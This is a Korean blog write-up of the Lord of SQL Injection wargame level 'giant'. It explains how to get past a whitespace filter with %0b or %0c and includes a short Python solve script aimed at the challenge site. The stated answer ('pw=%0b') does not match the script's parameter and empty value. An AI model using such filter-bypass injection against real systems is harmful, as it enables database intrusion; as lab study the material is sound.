본문으로 바로가기

LOS 14(giant)

category LOS-write up 2021. 1. 5. 05:26

문제

문제 분석

1234에 값이 들어가려면 from과prob사이에 공백이 있어야하는데 필터링으로 인해"\n" , "\r", "\t"를 사용하지 못한다.

 

또한 한글자가 넘으면 안되기에 다른 방법으로 공백를 우회하는게 핵심이다.  

 

문제 풀이

 

%20(화이트 스페이스) -> %0a , %0b , %0c , %0d , %09 , /**/

 

0a,0d,09는 필터링 되어있으며 /**/는 한글자가 아니므로 %b나 %0c를 사용하여 우회한다

 

 

문제 정답

URL?pw=%0b

 

 

문제 풀이 코드

import requests

url = 'https://los.rubiya.kr/chall/giant_18a08c3be1d1753de0cb157703f75a5e.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'}  #로그인 쿠키

data={}


data['shit']=""  #%0b,%0c  나머지 공백 우회들은 막아두고있음 
res = requests.get(url, params=data, cookies=session)

print(res.url)

if "Clear!" in res.text:
    print("\nClear!")
else:
    print("try again!")

코드 결과

'LOS-write up' 카테고리의 다른 글

LOS 16(succubus)  (0) 2021.01.05
LOS 15(assassin)  (0) 2021.01.05
LOS 13(bugbear)  (0) 2021.01.03
LOS 12(darkknight)  (0) 2021.01.03
LOS 11(golem)  (0) 2021.01.03